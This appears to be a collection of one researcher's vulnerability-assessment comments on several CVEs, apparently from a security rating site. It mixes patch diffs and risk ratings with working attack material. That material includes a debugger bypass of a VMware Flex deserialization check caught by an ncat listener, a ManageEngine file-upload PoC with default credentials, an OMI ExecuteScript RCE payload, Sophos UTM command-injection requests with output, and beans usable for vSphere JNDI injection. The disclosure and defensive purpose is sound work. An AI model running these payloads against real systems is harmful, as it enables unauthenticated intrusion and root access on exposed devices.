Breakpoint hit: "thread=http-nio-9090-exec-10", flex.messaging.util.ClassUtil.validateCreation(), line=351 bci=76
351        if (!valid) {

http-nio-9090-exec-10[1] print valid
 valid = false
http-nio-9090-exec-10[1] set valid = true
 valid = true = true
http-nio-9090-exec-10[1] cont
>
wvu@kharak:~$ ncat -lkv 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.16.57.237.
Ncat: Connection from 172.16.57.237:41660.
JRMIK

Listing the allowed class patterns for future work

DataService.util.*
\[B
\[Ljava.lang.Object;
antrun.*
cis.ds.*
classes.*
classes.com.vmware.vim.binding.phonehome.*
classes.com.vmware.vim.sso.*
com.vmware.*
flex.messaging.io.ArrayCollection
flex.messaging.io.ArrayList
flex.messaging.io.amf.ASObject
flex.messaging.io.amf.SerializedObject
flex.messaging.messages.AcknowledgeMessage
flex.messaging.messages.AcknowledgeMessageExt
flex.messaging.messages.AsyncMessage
flex.messaging.messages.AsyncMessageExt
flex.messaging.messages.CommandMessage
flex.messaging.messages.CommandMessageExt
flex.messaging.messages.ErrorMessage
flex.messaging.messages.HTTPMessage
flex.messaging.messages.RemotingMessage
flex.messaging.messages.SOAPMessage
java.lang.Boolean
java.lang.Byte
java.lang.Character
java.lang.Double
java.lang.Float
java.lang.Integer
java.lang.Long
java.lang.Object
java.lang.Short
java.lang.String
java.util.ArrayList
java.util.Date
java.util.HashMap
lib.*
metadata.*
mozilla.*
org.apache.commons.net.*
org.apache.commons.net.bsd.*
org.apache.commons.net.chargen.*
org.apache.commons.net.daytime.*
org.apache.commons.net.discard.*
org.apache.commons.net.echo.*
org.apache.commons.net.finger.*
org.apache.commons.net.ftp.*
org.apache.commons.net.ftp.parser.*
org.apache.commons.net.imap.*
org.apache.commons.net.io.*
org.apache.commons.net.nntp.*
org.apache.commons.net.ntp.*
org.apache.commons.net.pop3.*
org.apache.commons.net.smtp.*
org.apache.commons.net.telnet.*
org.apache.commons.net.tftp.*
org.apache.commons.net.time.*
org.apache.commons.net.util.*
org.apache.commons.net.whois.*
org.json.*
org.w3c.dom.Document
schema.*
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

The affected endpoint is /RestAPI/WC/NotificationTemplate/attachFiles with parameter UPLOADED_FILE. The vulnerability can be exploited as the SYSTEM user if the server is started as a service.

Patch

File(name) extension is now validated against an allowlist.

+		<url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true">
+			<file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx">
+				<filename regex="allowedFileNameChars" max-len="255"/>
+			</file>
+		</url>
   public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception {
     JSONObject responseObj = new JSONObject();
     ADSResourceBundle rb = null;
     Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId();
     try {
       rb = I18N.getInstance().getBundle(userId);
       JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE");
       if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) {
-        String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
-        String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
-        InputStream is = null;
-        OutputStream os = null;
-        try {
-          File inputFile = (File)fileDetails.get("FILE");
-          is = new FileInputStream(inputFile);
-          os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
-          byte[] buffer = new byte[(int)inputFile.length()];
-          int length;
-          while ((length = is.read(buffer)) > 0)
-            os.write(buffer, 0, length);
-        } catch (Exception fileException) {
-          logger.log(Level.INFO, "Exception while file operations", fileException);
-        } finally {
-          if (is != null)
-            is.close();
-          if (os != null)
-            os.close();
+        boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L);
+        if (isValidfileExtension) {
+          String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
+          String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
+          InputStream is = null;
+          OutputStream os = null;
+          try {
+            File inputFile = (File)fileDetails.get("FILE");
+            is = new FileInputStream(inputFile);
+            os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
+            byte[] buffer = new byte[(int)inputFile.length()];
+            int length;
+            while ((length = is.read(buffer)) > 0)
+              os.write(buffer, 0, length);
+          } catch (Exception fileException) {
+            logger.log(Level.INFO, "Exception while file operations", fileException);
+          } finally {
+            if (is != null)
+              is.close();
+            if (os != null)
+              os.close();
+          }
+          String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
+          responseObj.put("FILE_NAME", fileName);
+          responseObj.put("FILE_URL", fileURL);
+          responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
         }
-        String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
-        responseObj.put("FILE_NAME", fileName);
-        responseObj.put("FILE_URL", fileURL);
-        responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
       } else {
         responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       }
     } catch (Exception e) {
       responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       logger.log(Level.INFO, e.getMessage(), e);
     }
     CommonUtil.setResponseText(response, responseObj.toString());
     return null;
   }
 package com.manageengine.ads.fw.common.util;

 import com.adventnet.iam.security.SecurityRequestWrapper;
+import com.adventnet.iam.security.UploadFileRule;
 import com.adventnet.iam.security.UploadedFileItem;
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStreamReader;
 import java.util.List;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import javax.servlet.http.HttpServletRequest;
 import org.apache.commons.fileupload.FileItem;
 import org.apache.commons.fileupload.FileItemFactory;
 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
 import org.apache.commons.fileupload.servlet.ServletFileUpload;
 import org.apache.commons.io.FilenameUtils;
 import org.json.JSONObject;

 public class FileUtil {
   private static Logger logger = Logger.getLogger("ADSLogger");

+  public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] {
+      "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg",
+      "bmp", "svgz", "webp", "ico", "xbm", "dib" };
+
+  public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" };
+
+  public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" };
+
+  public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$";
+
   public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) {
     JSONObject json = new JSONObject();
     File file = null;
     String fileName = null;
     Long fileSize = null;
     try {
       if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) {
         SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest;
         UploadedFileItem item = secrequest.getMultipartParameter(paramName);
         if (item != null) {
           file = item.getUploadedFile();
           fileName = item.getFileName();
           fileSize = Long.valueOf(item.getFileSize());
         }
         json.put("FILE", file);
         json.put("FILE_NAME", fileName);
         json.put("FILE_SIZE", fileSize);
       } else {
         List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest);
         json = getFileFromMultipartRequest(multiparts, paramName);
       }
     } catch (Exception e) {
       logger.log(Level.INFO, "Error in getting the file from request ");
     }
     return json;
   }

   public static String getFileContent(File file, String delimiter) {
     BufferedReader bufRead = null;
     String ret = null;
     try {
       StringBuffer outBuf = new StringBuffer();
       InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8");
       bufRead = new BufferedReader(is);
       boolean startWrite = false;
       String line = bufRead.readLine();
       while (line != null) {
         if (delimiter != null && !delimiter.equals("")) {
           if (line.contains(delimiter))
             startWrite = true;
           if (startWrite)
             outBuf.append(line);
           if (line.contains("/" + delimiter))
             startWrite = false;
         } else {
           outBuf.append(line);
         }
         line = bufRead.readLine();
       }
       ret = outBuf.toString();
     } catch (Exception e) {
       logger.log(Level.INFO, "", e);
     } finally {
       try {
         if (bufRead != null)
           bufRead.close();
       } catch (Exception e) {
         logger.log(Level.INFO, "Error : " + e);
       }
     }
     return ret;
   }

   public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) {
     JSONObject file = new JSONObject();
     try {
       for (FileItem item : multiparts) {
         if (!item.isFormField() && item.getFieldName().equals(paramName)) {
           String fileName = FilenameUtils.getName(item.getName());
           File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
           storeFile.deleteOnExit();
           item.write(storeFile);
           file.put("FILE", storeFile);
           file.put("FILE_NAME", fileName);
           file.put("FILE_SIZE", item.getSize());
           break;
         }
       }
     } catch (Exception e) {
       e.printStackTrace();
     }
     return file;
   }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) {
+    if (fileName != null) {
+      UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex);
+      return uploadFileRule.validateExtension(fileName);
+    }
+    return false;
+  }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) {
+    return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
 }

PoC

Note that I’ve already logged in. Default accounts/creds are available.

wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892
> Content-Length: 198
> Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly
< Cache-Control: no-cache, no-store
< Pragma: no-cache
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< vary: accept-encoding
< Content-Type: text/html;charset=UTF-8
< Content-Length: 155
< Date: Mon, 29 Nov 2021 03:44:11 GMT
< Server: ADMP
<
* Connection #0 to host 172.16.57.222 left intact
{"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-FRAME-OPTIONS: SAMEORIGIN
< Accept-Ranges: bytes
< ETag: W/"4-1638157451470"
< Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Mon, 29 Nov 2021 03:45:33 GMT
< Server: ADMP
<
bar
* Connection #0 to host 172.16.57.222 left intact
wvu@kharak:~$

Default creds…

Please change all these creds! Only the admin account is clearly documented.

  • admin : admin
  • helpdesk : admin
  • hrassociate : admin
3
Ratings
Technical Analysis

This assessment has moved to the Rapid7 analysis. Thank you.

1
3
Ratings
Technical Analysis

This assessment has moved to the Rapid7 analysis. Thank you.

1
Ratings
Technical Analysis

Please see the Rapid7 analysis.

Update: I have confirmed that ADManager Plus was also patched against CVE-2021-40539. See the release notes for build 7112. This doesn’t seem to affect /RestAPI/WC endpoints.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

RCE PoC using ExecuteScript (multi-line shell script execution):

wvu@kharak:~/Downloads$ curl -vs http://127.0.0.1:5985/wsman -H "Content-Type: application/soap+xml" -d @payload.xml | xmllint --format -
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 5985 (#0)
> POST /wsman HTTP/1.1
> Host: 127.0.0.1:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1679
> Expect: 100-continue
>
* Done waiting for 100-continue
} [1679 bytes data]
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1393
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
{ [1393 bytes data]
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd">
  <SOAP-ENV:Header>
    <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
    <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action>
    <wsa:MessageID>uuid:19754ED3-CC01-0005-0000-000000010000</wsa:MessageID>
    <wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
      <p:ReturnValue>TRUE</p:ReturnValue>
      <p:ReturnCode>0</p:ReturnCode>
      <p:StdOut>
Hello
Goodbye
</p:StdOut>
      <p:StdErr/>
    </p:SCX_OperatingSystem_OUTPUT>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
wvu@kharak:~/Downloads$

payload.xml:

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
  <s:Header>
    <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
    <a:ReplyTo>
      <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
    <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
    <w:OperationTimeout>PT1M30S</w:OperationTimeout>
    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
    <w:OptionSet s:mustUnderstand="true"/>
    <w:SelectorSet>
      <w:Selector Name="__cimnamespace">root/scx</w:Selector>
    </w:SelectorSet>
  </s:Header>
  <s:Body>
    <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
      <p:Script>ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==</p:Script>
      <p:Arguments/>
      <p:timeout>0</p:timeout>
      <p:b64encoded>true</p:b64encoded>
    </p:ExecuteScript_INPUT>
  </s:Body>
</s:Envelope>

More context…

1
Ratings
Technical Analysis

Super easy to exploit. See CVE-2021-20021 for the first part of the chain.

3
Ratings
Technical Analysis

Please see the Rapid7 analysis. Thank you to Jang (@testanull) for being a great collaborator. :)

4
Ratings
Technical Analysis

Please see the Atredis writeup for root cause analysis.

CVE-2020-25223 has high attacker value and exploitability, since Sophos UTM is a next-generation firewall (NGFW), and the vulnerability offers unauthenticated attackers root access to a “network pivot” device, all through a single HTTP request, demonstrated below:

wvu@kharak:~$ curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|touch /tmp/vulnerable|"}'
*   Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
*  start date: Feb 24 14:46:04 2015 GMT
*  expire date: Jan 24 14:46:04 2017 GMT
*  issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 33
>
* upload completely sent off: 33 out of 33 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 04:17:09 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0
wvu@kharak:~$
host:/root # ls -l /tmp/vulnerable
-rw-r--r-- 1 root root 0 Aug 25 23:17 /tmp/vulnerable
host:/root #

Checking for the vulnerability can be accomplished by injecting a sleep command and timing the request’s completion:

wvu@kharak:~$ time curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|sleep 10|"}'
*   Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
*  start date: Feb 24 14:46:04 2015 GMT
*  expire date: Jan 24 14:46:04 2017 GMT
*  issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 20
>
* upload completely sent off: 20 out of 20 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 15:47:17 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0

real	0m10.114s
user	0m0.020s
sys	0m0.018s
wvu@kharak:~$
3
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Technical Analysis

CVE-2021-33909 has high attacker value because it is root privilege escalation in core functionality of the Linux kernel itself. Exploitability is a little lower, since it involves kernel memory corruption with particular requirements, but Qualys has indicated successful exploitation of several Linux distributions and versions, noting that distributions they haven’t tested may be equally exploitable out of the box. Mitigations do exist but do not fix the root cause. You’ll want to patch this one before a full exploit drops. (A crash PoC has already been released.)

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very Low
Technical Analysis

(Edited for clarity only.)

Update: Paolo Stagno (VoidSec) has analyzed this vulnerability and posited that it is not exploitable beyond DoS. I agree with their analysis and have updated my ratings as a result. My pre-analysis assessment is preserved below. More details to come! Please see VoidSec’s assessment. :)


Local privilege escalation in an ancient yet widely distributed printer driver for Windows. Mis-bounded strncpy() buffer overflow in kernel space, so exploitation requires skill and precision to pull off, though the vulnerability itself is incredibly straightforward. Could be a reliable root for years to come. Patch this normally and don’t freak out.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

I looked at the patch briefly and confirmed this appears to be unauthenticated remote code execution, specifically of the memory corruption variety, in the SSH (SFTP) service that’s available to Serv-U. Note that services are opt-in for this product, so SSH would need to be enabled for this bug to be exploitable. However, since this vulnerability is being exploited in the wild (albeit in targeted attacks), you’ll absolutely want to patch it, particularly for a product that is likely to be exposed to the Internet.

1
Ratings
Technical Analysis

Please see the blog post for more information. An exploit has been posted. For all intents and purposes, this is unauthenticated RCE. A patch is available.

3
Ratings
  • Exploitability
    High
Technical Analysis

Docked exploitability a point because a valid bean and method must be known. See the Rapid7 analysis for more context.

ETA: Cat’s out of the bag. JNDI injection PoC. I’ve confirmed it works. Here are all the beans you can use for this:

vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanFormatUtils_setUserSessionService
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanUtils_setMessageBundle
vsphereHealthProviderUtils_setVsphereHealthServiceFactory

For reference, here are all the registered beans in my environment:

advancedOptionsService
capabilityPropertyProviderImpl
ceipService
clusterDpConfigService
cnManager
computeInventoryService
configureClusterService
configureStretchedClusterService
configureVsanClusterMutationProviderImpl
connectionRetention
dataAccessController
dataService
dataServiceExtensionRegistry
datacenterInventoryService
diskGroupMutationService
diskManagementService
dpClient
dpFactory
encryptionMutationProvider
encryptionPropertyProvider
execFactory
execSettings
guardRailPropertyProviderAdapter
hciClusterService
healthCheckDelay
healthCheckTimeout
legacyVsanObjectVersionProviderImpl
localizedMessageBundle
lookupSvcClient
lsFactory
lsLocator
multiVmRestoreBacking
mvcContentNegotiationManager
mvcCorsConfigurations
mvcHandlerMappingIntrospector
mvcUriComponentsContributor
networkInventoryService
networkIpConfigProvider
obfuscationController
obfuscationService
objectReferenceService
org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#0
org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#1
org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#2
org.springframework.context.annotation.internalAsyncAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalPersistenceAnnotationProcessor
org.springframework.context.annotation.internalRequiredAnnotationProcessor
org.springframework.context.annotation.internalScheduledAnnotationProcessor
org.springframework.context.event.internalEventListenerFactory
org.springframework.context.event.internalEventListenerProcessor
org.springframework.format.support.FormattingConversionServiceFactoryBean#0
org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping
org.springframework.web.servlet.handler.MappedInterceptor#0
org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter
org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter
org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver#0
org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver#0
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver#0
org.springframework.web.servlet.view.ContentNegotiatingViewResolver#0
pbmClient
pbmDataProviderImpl
pbmFactory
permissionService
physicalDisksService
proactiveTestsService
promoteActionController
proxygenController
purgeInaccessibleVmSwapObjectsProvider
restoreWorkflowBacking
sessionScheduler
singleVmRestoreBacking
ssoFactory
taskService
updateDbService
userSessionService
vcClient
vcFactory
vcPropertiesFacade
virtualObjectsDataProtectionController
virtualObjectsService
vlsiSettingsTemplate
vmConsistencyGroupPropertyProvider
vmDataProtectionPropertyProviderAdapter
vmDataProtectionSummaryController
vmDataProtectionSyncPointsController
vmDiskPlacementProvider
vmFolderInventorySerivce
vmInventoryService
vmodlContext
vmodlHelper
vsanCapabilityCacheManager
